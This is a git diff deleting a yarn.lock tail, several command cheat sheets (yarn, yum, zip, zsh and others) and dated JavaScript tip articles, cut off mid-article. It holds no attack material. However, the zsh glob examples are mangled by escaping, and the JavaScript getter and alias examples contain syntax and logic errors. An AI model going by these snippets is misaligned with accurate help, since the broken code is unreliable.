-resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
-integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
-dependencies:
-isexe "^2.0.0"
-
-word-wrap@~1.2.3:
-version "1.2.3"
-resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
-integrity sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==
-
-wrap-ansi@^5.1.0:
-version "5.1.0"
-resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz#1fd1f67235d5b6d0fee781056001bfb694c03b09"
-integrity sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==
-dependencies:
-ansi-styles "^3.2.0"
-string-width "^3.0.0"
-strip-ansi "^5.0.0"
-
-wrap-ansi@^6.2.0:
-version "6.2.0"
-resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-6.2.0.tgz#e9393ba07102e6c91a3b221478f0257cd2856e53"
-integrity sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==
-dependencies:
-ansi-styles "^4.0.0"
-string-width "^4.1.0"
-strip-ansi "^6.0.0"
-
-wrappy@1:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-write-file-atomic@^3.0.0:
-version "3.0.3"
-resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8"
-integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==
-dependencies:
-imurmurhash "^0.1.4"
-is-typedarray "^1.0.0"
-signal-exit "^3.0.2"
-typedarray-to-buffer "^3.1.5"
-
-ws@^5.1.1:
-version "5.2.2"
-resolved "https://registry.yarnpkg.com/ws/-/ws-5.2.2.tgz#dffef14866b8e8dc9133582514d1befaf96e980f"
-integrity sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==
-dependencies:
-async-limiter "~1.0.0"
-
-ws@^6.1.2:
-version "6.2.1"
-resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.1.tgz#442fdf0a47ed64f59b6a5d8ff130f4748ed524fb"
-integrity sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==
-dependencies:
-async-limiter "~1.0.0"
-
-ws@^7.1.2, ws@^7.2.3:
-version "7.3.0"
-resolved "https://registry.yarnpkg.com/ws/-/ws-7.3.0.tgz#4b2f7f219b3d3737bc1a2fbf145d825b94d38ffd"
-integrity sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==
-
-ws@~6.1.0:
-version "6.1.4"
-resolved "https://registry.yarnpkg.com/ws/-/ws-6.1.4.tgz#5b5c8800afab925e94ccb29d153c8d02c1776ef9"
-integrity sha512-eqZfL+NE/YQc1/ZynhojeV8q+H050oR8AZ2uIev7RU10svA9ZnJUddHcOUZTJLinZ9yEfdA2kSATS2qZK5fhJA==
-dependencies:
-async-limiter "~1.0.0"
-
-xml-name-validator@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
-integrity sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==
-
-xmlchars@^2.1.1, xmlchars@^2.2.0:
-version "2.2.0"
-resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
-integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==
-
-xmlhttprequest-ssl@~1.5.4:
-version "1.5.5"
-resolved "https://registry.yarnpkg.com/xmlhttprequest-ssl/-/xmlhttprequest-ssl-1.5.5.tgz#c2876b06168aadc40e57d97e81191ac8f4398b3e"
-integrity sha1-wodrBhaKrcQOV9l+gRkayPQ5iz4=
-
-xtend@^4.0.0, xtend@~4.0.1:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
-integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
-
-y18n@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/y18n/-/y18n-4.0.0.tgz#95ef94f85ecc81d007c264e190a120f0a3c8566b"
-integrity sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==
-
-yargs-parser@^15.0.1:
-version "15.0.1"
-resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-15.0.1.tgz#54786af40b820dcb2fb8025b11b4d659d76323b3"
-integrity sha512-0OAMV2mAZQrs3FkNpDQcBk1x5HXb8X4twADss4S0Iuk+2dGnLOE/fRHrsYm542GduMveyA77OF4wrNJuanRCWw==
-dependencies:
-camelcase "^5.0.0"
-decamelize "^1.2.0"
-
-yargs-parser@^18.1.1:
-version "18.1.3"
-resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-18.1.3.tgz#be68c4975c6b2abf469236b0c870362fab09a7b0"
-integrity sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==
-dependencies:
-camelcase "^5.0.0"
-decamelize "^1.2.0"
-
-yargs@^14.0.0:
-version "14.2.3"
-resolved "https://registry.yarnpkg.com/yargs/-/yargs-14.2.3.tgz#1a1c3edced1afb2a2fea33604bc6d1d8d688a414"
-integrity sha512-ZbotRWhF+lkjijC/VhmOT9wSgyBQ7+zr13+YLkhfsSiTriYsMzkTUFP18pFhWwBeMa5gUc1MzbhrO6/VB7c9Xg==
-dependencies:
-cliui "^5.0.0"
-decamelize "^1.2.0"
-find-up "^3.0.0"
-get-caller-file "^2.0.1"
-require-directory "^2.1.1"
-require-main-filename "^2.0.0"
-set-blocking "^2.0.0"
-string-width "^3.0.0"
-which-module "^2.0.0"
-y18n "^4.0.0"
-yargs-parser "^15.0.1"
-
-yargs@^15.3.1:
-version "15.3.1"
-resolved "https://registry.yarnpkg.com/yargs/-/yargs-15.3.1.tgz#9505b472763963e54afe60148ad27a330818e98b"
-integrity sha512-92O1HWEjw27sBfgmXiixJWT5hRBp2eobqXicLtPBIDBhYB+1HpwZlXmbW2luivBJHBzki+7VyCLRtAkScbTBQA==
-dependencies:
-cliui "^6.0.0"
-decamelize "^1.2.0"
-find-up "^4.1.0"
-get-caller-file "^2.0.1"
-require-directory "^2.1.1"
-require-main-filename "^2.0.0"
-set-blocking "^2.0.0"
-string-width "^4.2.0"
-which-module "^2.0.0"
-y18n "^4.0.0"
-yargs-parser "^18.1.1"
-
-yeast@0.1.2:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/yeast/-/yeast-0.1.2.tgz#008e06d8094320c372dbc2f8ed76a0ca6c8ac419"
-integrity sha1-AI4G2AlDIMNy28L47XagymyKxBk=
diff --git a/docs/content/cheat-sheets/yarn.md b/docs/content/cheat-sheets/yarn.md
deleted file mode 100644
index 53260bec90..0000000000
--- a/docs/content/cheat-sheets/yarn.md
+++ /dev/null
@@ -1,99 +0,0 @@
----
-title: Yarn
-category: JavaScript libraries
-
-weight: -3
-prism_languages: [json, bash]
-tags: [Featurable]
----
-
-### npm equivalents
-
-| npm                                        | yarn                          |
-| ------------------------------------------ | ----------------------------- |
-| `npm init`                                 | `yarn init`                   |
-| `npm install`                              | `yarn`                        |
-| `npm install gulp --save`                  | `yarn add gulp`               |
-| `npm install gulp --save-dev --save-exact` | `yarn add gulp --dev --exact` |
-| `npm install -g gulp`                      | `yarn global add gulp`        |
-| `npm update`                               | `yarn upgrade`                |
-| `./node_modules/.bin/gulp`                 | `yarn run gulp`               |
-
-{: .-left-align.-headers}
-
-### yarn install
-
-```
---no-lockfile
---pure-lockfile
---frozen-lockfile
---silent
---offline
---update-checksums
---check-files
---flat
---force
---ignore-scripts
---modules-folder <path>
---production[=true|false]
-```
-
-These options are available for `yarn install`.
-
-### yarn add
-
-```
---dev
---peer
---optional
---exact
---tilde
-```
-
-These options are available for `yarn add`.
-
-### Workspaces
-
-In `package.json`:
-{: .-setup}
-
-```json
-"workspaces": [
-  "packages/*"
-]
-```
-
-```
-jest/
-├─ package.json
-└─ packages/
-   ├─ jest-matcher-utils/
-   │  └─ package.json
-   └─ jest-diff/
-      └─ package.json
-```
-
-{: .-box-chars}
-
-(New in 1.0) Allows monorepos to share packages with each other. See: [Introducing workspaces](https://yarnpkg.com/blog/2017/08/02/introducing-workspaces/)
-
-### Selective version resolution
-
-In `package.json`:
-{: .-setup}
-
-```json
-"resolutions": {
-  "**/sass-brunch/node-sass": "4.5.2"
-}
-```
-
-(New in 1.0) Allows you to specify versions for sub-dependencies. See: [Selective version resolutions](https://github.com/yarnpkg/yarn/pull/4105)
-
-### Create
-
-```bash
-yarn create react-app hello
-```
-
-Install `create-react-app` and runs it. See: [yarn create](https://github.com/yarnpkg/rfcs/blob/master/implemented/0000-yarn-create.md)
diff --git a/docs/content/cheat-sheets/youtube-dl.md b/docs/content/cheat-sheets/youtube-dl.md
deleted file mode 100644
index 6334032503..0000000000
--- a/docs/content/cheat-sheets/youtube-dl.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# To download a video in 720p MP4:
-
-youtube-dl -f 22 example.com/watch?v=id
-
-# To download a video in 720p MP4 or WebM or FLV:
-
-youtube-dl -f 22/45/120
-
-# To list all available formats of a video:
-
-youtube-dl -F example.com/watch?v=id
-
-# To download a video to /$uploader/$date/$title.$ext:
-
-youtube-dl -o '%(uploader)s/%(date)s/%(title)s.%(ext)s' example.com/watch?v=id
-
-# To download a video playlist starting from a certain video:
-
-youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid
-
-# To simulate a download with youtube-dl:
-
-youtube-dl -s example.com/watch?v=id
-
-# To download audio in mp3 format with best quality available
-
-youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id
-
-# For all video formats see link below (unfold "Comparison of YouTube media encoding options")
-
-# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats
diff --git a/docs/content/cheat-sheets/yum.md b/docs/content/cheat-sheets/yum.md
deleted file mode 100644
index 86cbafa51c..0000000000
--- a/docs/content/cheat-sheets/yum.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-tags: [packaging]
----
-
-# To install the latest version of a package:
-
-yum install <package>
-
-# To perform a local install:
-
-yum localinstall <package>
-
-# To remove a package:
-
-yum remove <package>
-
-# To search for a package:
-
-yum search <package>
-
-# To find what package installs an executable:
-
-yum whatprovides <executable>
-
-# To find the dependencies of a package:
-
-yum deplist <package>
-
-# To find information about a package:
-
-yum info <package>
-
-# List currently enabled repositories:
-
-yum repolist
-
-# List packages matching <phrase>:
-
-yum list <phrase>
-
-# To download the source RPM for a package:
-
-yumdownloader --source <package>
-
-# (You have to install yumdownloader first, which is installed by the yum-utils package)
diff --git a/docs/content/cheat-sheets/z.md b/docs/content/cheat-sheets/z.md
deleted file mode 100644
index 7e56753927..0000000000
--- a/docs/content/cheat-sheets/z.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To `cd` to most frecent dir matching `foo`:
-
-z foo
-
-# To `cd` to most frecent dir matching `foo`, then `bar`:
-
-z foo bar
-
-# To `cd` to highest ranked dir matching `foo`:
-
-z -r foo
-
-# To `cd` to most recently accessed dir matching `foo`:
-
-z -t foo
-
-# To list all dirs matching `foo` - by frecency:
-
-z -l foo
diff --git a/docs/content/cheat-sheets/zip.md b/docs/content/cheat-sheets/zip.md
deleted file mode 100644
index 7d7318054c..0000000000
--- a/docs/content/cheat-sheets/zip.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To create zip file:
-
-zip archive.zip file1 directory/
-
-# To create zip file from directory:
-
-zip -r archive.zip directory/
-
-# To create zip file with password:
-
-zip -P password archive.zip file1
-
-# To list, test and extract zip archives, see unzip:
-
-cheat unzip
diff --git a/docs/content/cheat-sheets/znc.md b/docs/content/cheat-sheets/znc.md
deleted file mode 100644
index e9effb080c..0000000000
--- a/docs/content/cheat-sheets/znc.md
+++ /dev/null
@@ -1,40 +0,0 @@
----
-title: ZNC bouncer
-
-intro: |
-    A quick reference to the [ZNC](https://znc.bg) IRC bouncer's common commands.
----
-
-## Start
-
-```
-/msg *status addserver irc.undernet.org [6667]
-/msg *status connect
-
-/msg *status loadmod webadmin
-/msg *status loadmod admin
-/msg *status loadmod away
-/msg *status loadmod awaynick
-/msg *status loadmod clientnotify    # Notifies when another client logs
-/msg *status loadmod keepnick
-/msg *status loadmod kickrejoin
-```
-
-## Away
-
-```
-/msg *status loadmod away
-/msg *away away
-/msg *away back
-/msg *away show   #=> Show messages
-/msg *away delete all
-```
-
-## Watch
-
-```
-/msg *status loadmod watch
-/msg *watch list
-/msg *watch add * *watch *rico*
-/msg *watch add * *watch *%nick%*
-```
diff --git a/docs/content/cheat-sheets/zombie.md b/docs/content/cheat-sheets/zombie.md
deleted file mode 100644
index 5dbe492c3e..0000000000
--- a/docs/content/cheat-sheets/zombie.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Zombie
-category: JavaScript libraries
-
-intro: |
-    [Zombie](http://zombie.js.org/) is a full-stack testing solution for Node.js.
----
-
-## Zombie
-
-### Examples
-
-```js
-browser
-  .visit("http://.../", ->)
-  .fill("email", "zombie@underworld.dead")
-  .fill("password", "eat-the-living")
-  .select("Born", "1985")
-  .uncheck("Send newsletter")
-  .clickLink("Link name")
-  .pressButton("Sign", () => { ... })
-  .text("H1")
-```
-
-### Expectations
-
-```js
-expect(browser.query("#brains"))
-
-expect(browser.body.queryAll(".hand")).length 2
-
-console.log(browser.html())
-console.log(browser.html("table.parts"))
-
-expect(Browser.text(".card-nopad small"), "A better way to get around!")
-```
diff --git a/docs/content/cheat-sheets/zoneadm.md b/docs/content/cheat-sheets/zoneadm.md
deleted file mode 100644
index 4c61a20f45..0000000000
--- a/docs/content/cheat-sheets/zoneadm.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# To halt a zone:
-
-zoneadm -z <zone> halt
-
-# To delete a zone :
-
-zoneadm -z <zone> halt
-zoneadm -z <zone> uninstall
-
-# To verify a zone:
-
-zoneadm -z <zone> verify
-
-# To install a zone:
-
-zoneadm -z <zone> install
-
-# To boot a zone:
-
-zoneadm -z <zone> boot
-
-# To reboot a zone:
-
-zoneadm -z <zone> reboot
-
-# To list zones:
-
-zoneadm list -cv
diff --git a/docs/content/cheat-sheets/zsh.md b/docs/content/cheat-sheets/zsh.md
deleted file mode 100644
index 68f6f5040c..0000000000
--- a/docs/content/cheat-sheets/zsh.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# A plain old glob
-
-print -l _.txt
-print -l \*\*/_.txt
-
-# Show text files that end in a number from 1 to 10
-
-print -l \*_/_<1-10>.txt
-
-# Show text files that start with the letter a
-
-print -l \*_/[a]_.txt
-
-# Show text files that start with either ab or bc
-
-print -l \*_/(ab|bc)_.txt
-
-# Show text files that don't start with a lower or uppercase c
-
-print -l \*_/[^cc]_.txt
-
-# Show only directories
-
-print -l \*_/_(/)
-
-# Show only regular files
-
-print -l \*_/_(.)
-
-# Show empty files
-
-print -l \*_/_(L0)
-
-# Show files greater than 3 KB
-
-print -l \*_/_(Lk+3)
-
-# Show files modified in the last hour
-
-print -l \*_/_(mh-1)
-
-# Sort files from most to least recently modified and show the last 3
-
-print -l \*_/_(om[1,3])
-
-# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour,
-
-# `om` sort by modification date, `[1,3]` only first 3 files
-
-print -l \*_/_(.Lm-2mh-1om[1,3])
-
-# Show every directory that contain directory `.git`
-
-print -l \*_/_(e:'[[-d $REPLY/.git]]':)
-
-# Return the file name (t stands for tail)
-
-print -l \*.txt(:t)
-
-# Return the file name without the extension (r stands for remove_extension)
-
-print -l \*.txt(:t:r)
-
-# Return the extension
-
-print -l \*.txt(:e)
-
-# Return the parent folder of the file (h stands for head)
-
-print -l \*.txt(:h)
-
-# Return the parent folder of the parent
-
-print -l \*.txt(:h:h)
-
-# Return the parent folder of the first file
-
-print -l \*.txt([1]:h)
-
-# Parameter expansion
-
-files=(\*.txt) # store a glob in a variable
-print -l $files
-print -l $files(:h) # this is the syntax we saw before
-print -l ${files:h}
-print -l ${files(:h)} # don't mix the two, or you'll get an error
-print -l ${files:u} # the :u modifier makes the text uppercase
-
-# :s modifier
-
-variable="path/aaabcd"
-echo ${variable:s/bc/BC/} # path/aaaBCd
-echo ${variable:s*bc_BC*} # path/aaaBCd
-echo ${variable:s/\//./} # path.aaabcd (escaping the slash \/)
-echo ${variable:s*/*.\_} # path.aaabcd (slightly more readable)
-echo ${variable:s/a/A/} # pAth/aaabcd (only first A is replaced)
-echo ${variable:gs/a/A/} # pAth/AAAbcd (all A is replaced)
-
-# Split the file name at each underscore
-
-echo ${(s.\_.)file}
-
-# Join expansion flag, opposite of the split flag.
-
-array=(a b c d)
-echo ${(j.-.)array} # a-b-c-d
-
-# Short if
-
-if [[...]] command
-if [[...]] { command ... }
-
-# Short for
-
-for i ( word ... ) command
-for i ( word ... ) { command ... }
-for i in word ... ; command
-
-# Short while/until
-
-while [[...]] { command ... }
-until [[...]] { command ... }
-
-# Use output of command, when using pipe is not possible
-
-<( command )
-
-# Similar to <( ), but creates temporary file (instead of FD or FIFO), when
-
-# program needs to seek in output.
-
-=( command )
diff --git a/docs/content/dated/DOMeventlisteningmadeeasy.md b/docs/content/dated/DOMeventlisteningmadeeasy.md
deleted file mode 100644
index 01a3ec14f7..0000000000
--- a/docs/content/dated/DOMeventlisteningmadeeasy.md
+++ /dev/null
@@ -1,66 +0,0 @@
--   /en/DOM-event-listening-made-easy/
-
-Many of us are still doing these things:
-
--   `element.addEventListener('type', obj.method.bind(obj))`
--   `element.addEventListener('type', function (event) {})`
--   `element.addEventListener('type', (event) => {})`
-
-The above examples all create new anonymous event handlers that can't be removed when no longer needed. This may cause performance problems or unexpected logic bugs, when handlers that you no longer need still get accidentally triggered through unexpected user interactions or [event bubbling](http://www.javascripter.net/faq/eventbubbling.htm).
-
-Safer event-handling patterns include the following:
-
-Use a reference:
-
-```js
-const handler = function () {
-    console.log('Tada!');
-};
-element.addEventListener('click', handler);
-// Later on
-element.removeEventListener('click', handler);
-```
-
-Named function that removes itself:
-
-```js
-element.addEventListener('click', function click(e) {
-    if (someCondition) {
-        return e.currentTarget.removeEventListener('click', click);
-    }
-});
-```
-
-A better approach:
-
----
-
-```js
-function handleEvent(eventName, { onElement, withCallback, useCapture = false } = {}, thisArg) {
-    const element = onElement || document.documentElement;
-
-    function handler(event) {
-        if (typeof withCallback === 'function') {
-            withCallback.call(thisArg, event);
-        }
-    }
-
-    handler.destroy = function () {
-        return element.removeEventListener(eventName, handler, useCapture);
-    };
-
-    element.addEventListener(eventName, handler, useCapture);
-    return handler;
-}
-
-// Anytime you need
-const handleClick = handleEvent('click', {
-    onElement: element,
-    withCallback: (event) => {
-        console.log('Tada!');
-    }
-});
-
-// And anytime you want to remove it
-handleClick.destroy();
-```
diff --git a/docs/content/dated/Usingimmediatelyinvokedfunctionexpression.md b/docs/content/dated/Usingimmediatelyinvokedfunctionexpression.md
deleted file mode 100644
index 40300683b6..0000000000
--- a/docs/content/dated/Usingimmediatelyinvokedfunctionexpression.md
+++ /dev/null
@@ -1,32 +0,0 @@
--   /en/Using-immediately-invoked-function-expression/
-
-Called as "Iffy" ( IIFE - immediately invoked function expression) is an anonymous function expression that is immediately invoked and has some important uses in Javascript.
-
-```js
-(function () {
-    // Do something​
-})();
-```
-
-It is an anonymous function expression that is immediately invoked, and it has some particularly important uses in JavaScript.
-
-The pair of parenthesis surrounding the anonymous function turns the anonymous function into a function expression or variable expression. So instead of a simple anonymous function in the global scope, or wherever it was defined, we now have an unnamed function expression.
-
-Similarly, we can even create a named, immediately invoked function expression:
-
-```js
-(someNamedFunction = function(msg) {
-	console.log(msg || "Nothing for today !!")
-	}) (); // Output --> Nothing for today !!​
-​
-someNamedFunction("Javascript rocks !!"); // Output --> Javascript rocks !!
-someNamedFunction(); // Output --> Nothing for today !!​
-```
-
-For more details, check the following URL's -
-
-1. [Link 1](https://blog.mariusschulz.com/2016/01/13/disassembling-javascripts-iife-syntax)
-2. [Link 2](http://javascriptissexy.com/12-simple-yet-powerful-javascript-tips/)
-
-Performance:
-[jsPerf](http://jsperf.com/iife-with-call)
diff --git a/docs/content/dated/advancedproperties.md b/docs/content/dated/advancedproperties.md
deleted file mode 100644
index 3a85ece913..0000000000
--- a/docs/content/dated/advancedproperties.md
+++ /dev/null
@@ -1,109 +0,0 @@
--   /en/advanced-properties/
-
-It is possible to configure object properties in Javascript for example to set properties to be pseudo-private or readonly. This feature is available since ECMAScript 5.1, therefore supported by all recent browsers.
-
-To do so, you need to use the method `defineProperty` of the `Object` prototype like so:
-
-```js
-var a = {};
-Object.defineProperty(a, 'readonly', {
-    value: 15,
-    writable: false
-});
-
-a.readonly = 20;
-console.log(a.readonly); // 15
-```
-
-The syntax is as follows:
-
-```js
-Object.defineProperty(dest, propName, options);
-```
-
-or for multiple definitions:
-
-```js
-Object.defineProperties(dest, {
-    propA: optionsA,
-    propB: optionsB //...
-});
-```
-
-where options include the following attributes:
-
--   _value_: if the property is not a getter (see below), value is a mandatory attribute. `{a: 12}` === `Object.defineProperty(obj, 'a', {value: 12})`
--   _writable_: set the property as readonly. Note that if the property is a nested objects, its properties are still editable.
--   _enumerable_: set the property as hidden. That means that `for ... of` loops and `stringify` will not include the property in their result, but the property is still there. Note: That doesn't mean that the property is private! It can still be accessible from the outside, it just means that it won't be printed.
--   _configurable_: set the property as non modifiable, e.g. protected from deletion or redefinition. Again, if the property is a nested object, its properties are still configurable.
-
-So in order to create a private constant property, you can define it like so:
-
-```js
-Object.defineProperty(obj, 'myPrivateProp', { value: val, enumerable: false, writable: false, configurable: false });
-```
-
-Besides configuring properties, `defineProperty` allows us to define _dynamic properties_, thanks to the second parameter being a string. For instance, let's say that I want to create properties according to some external configuration:
-
-```js
-
-var obj = {
-  getTypeFromExternal(): true // illegal in ES5.1
-}
-
-Object.defineProperty(obj, getTypeFromExternal(), {value: true}); // ok
-
-// For the example sake, ES6 introduced a new syntax:
-var obj = {
-  [getTypeFromExternal()]: true
-}
-```
-
-But that's not all! Advanced properties allows us to create **getters** and **setters**, just like other OOP languages! In that case, one cannot use the `writable`, `enumerable` and `configurable` properties, but instead:
-
----
-
-```js
-
-
-function Foobar () {
-  var _foo; //  true private property
-
-  Object.defineProperty(obj, 'foo', {
-    get: function () { return _foo; }
-    set: function (value) { _foo = value }
-  });
-
-}
-
-var foobar = new Foobar();
-foobar.foo; // 15
-foobar.foo = 20; // _foo = 20
-```
-
-Aside for the obvious advantage of encapsulation and advanced accessors, you will notice that we didn't "call" the getter, instead we just "get" the property without parentheses! This is awesome! For instance, let's imagine that we have an object with long nested properties, like so:
-
-```js
-var obj = { a: { b: { c: [{ d: 10 }, { d: 20 }] } } };
-```
-
-Now instead of doing `a.b.c[0].d` (where one of the properties can resolve to `undefined` and throw an error), we can instead create an alias:
-
-```js
-Object.defineProperty(obj, 'firstD', {
-    get: function () {
-        return a && a.b && a.b.c && a.b.c[0] && a.b.c[0].d;
-    }
-});
-
-console.log(obj.firstD); // 10
-```
-
-### Note
-
-If you define a getter without a setter and still try to set a value, you will get an error! This is particularly important when using helper functions such as `$.extend` or `_.merge`. Be careful!
-
-### Links
-
--   [defineProperty](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty)
--   [Defining properties in JavaScript](http://bdadam.com/blog/defining-properties-in-javascript.html)
diff --git a/docs/content/dated/arrayaverageand.md b/docs/content/dated/arrayaverageand.md
deleted file mode 100644
index 017d81a5b5..0000000000
--- a/docs/content/dated/arrayaverageand.md
+++ /dev/null
@@ -1,53 +0,0 @@
--   /en/array-average-and-median/
-
-The following examples will be based on the following array:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-```
-
-To get the average, we have to sum up numbers and then divide by the number of values. Steps are:
-
--   get the array length
--   sum up values
--   get the average (`sum/length`)
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-let sum = values.reduce((previous, current) => (current += previous));
-let avg = sum / values.length;
-// avg = 28
-```
-
-Or:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-let count = values.length;
-values = values.reduce((previous, current) => (current += previous));
-values /= count;
-// avg = 28
-```
-
-Now, to get the median steps are:
-
--   sort the array
--   get the arethmic mean of the middle values
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-values.sort((a, b) => a - b);
-let lowMiddle = Math.floor((values.length - 1) / 2);
-let highMiddle = Math.ceil((values.length - 1) / 2);
-let median = (values[lowMiddle] + values[highMiddle]) / 2;
-// median = 13,5
-```
-
-With a bitwise operator:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-values.sort((a, b) => a - b);
-let median = (values[(values.length - 1) >> 1] + values[values.length >> 1]) / 2;
-// median = 13,5
-```
diff --git a/docs/content/dated/arrayaverageandmedian.md b/docs/content/dated/arrayaverageandmedian.md
deleted file mode 100644
index 017d81a5b5..0000000000
--- a/docs/content/dated/arrayaverageandmedian.md
+++ /dev/null
@@ -1,53 +0,0 @@
--   /en/array-average-and-median/
-
-The following examples will be based on the following array:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-```
-
-To get the average, we have to sum up numbers and then divide by the number of values. Steps are:
-
--   get the array length
--   sum up values
--   get the average (`sum/length`)
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-let sum = values.reduce((previous, current) => (current += previous));
-let avg = sum / values.length;
-// avg = 28
-```
-
-Or:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-let count = values.length;
-values = values.reduce((previous, current) => (current += previous));
-values /= count;
-// avg = 28
-```
-
-Now, to get the median steps are:
-
--   sort the array
--   get the arethmic mean of the middle values
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-values.sort((a, b) => a - b);
-let lowMiddle = Math.floor((values.length - 1) / 2);
-let highMiddle = Math.ceil((values.length - 1) / 2);
-let median = (values[lowMiddle] + values[highMiddle]) / 2;
-// median = 13,5
-```
-
-With a bitwise operator:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-values.sort((a, b) => a - b);
-let median = (values[(values.length - 1) >> 1] + values[values.length >> 1]) / 2;
-// median = 13,5
-```
diff --git a/docs/content/dated/arrayhacks.md b/docs/content/dated/arrayhacks.md
deleted file mode 100644
index a8cbeaae9e..0000000000
--- a/docs/content/dated/arrayhacks.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-
-Arrays are everywhere in JavaScript and with the new [spread operators](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Spread_operator) introduced in ECMAScript 6, you can do awesome things with them. In this post I will show you 3 useful tricks you can use when programming.
-
-### 1. Iterating through an empty array
-
-JavaScript arrays are sparse in nature in that there are a lot of holes in them. Try creating an array using the Array's constructor and you will see what I mean.
-
-```js
-> const arr = new Array(4);
-[undefined, undefined, undefined, undefined]
-```
-
-You may find that iterating over a sparse array to apply a certain transformation is hard.
-
-```js
-> const arr = new Array(4);
-> arr.map((elem, index) => index);
-[undefined, undefined, undefined, undefined]
-```
-
-To solve this, you can use `Array.apply` when creating the array.
-
-```js
-> const arr = Array.apply(null, new Array(4));
-> arr.map((elem, index) => index);
-[0, 1, 2, 3]
-```
-
-### 2. Passing an empty parameter to a method
-
-If you want to call a method and ignore one of its parameters, then JavaScript will complain if you keep it empty.
-
-```js
-> method('parameter1', , 'parameter3');
-Uncaught SyntaxError: Unexpected token ,
-```
-
-A workaround that people usually resort to is to pass either `null` or `undefined`.
-
-```js
-> method('parameter1', null, 'parameter3') // or
-> method('parameter1', undefined, 'parameter3');
-```
-
-I personally don't like using `null` since JavaScript treats it as an object and that's just weird. With the introduction of spread operators in ES6, there is a neater way of passing empty parameters to a method. As previously mentioned, arrays are sparse in nature and so passing empty values to it is totally okay. We'll use this to our advantage.
-
-```js
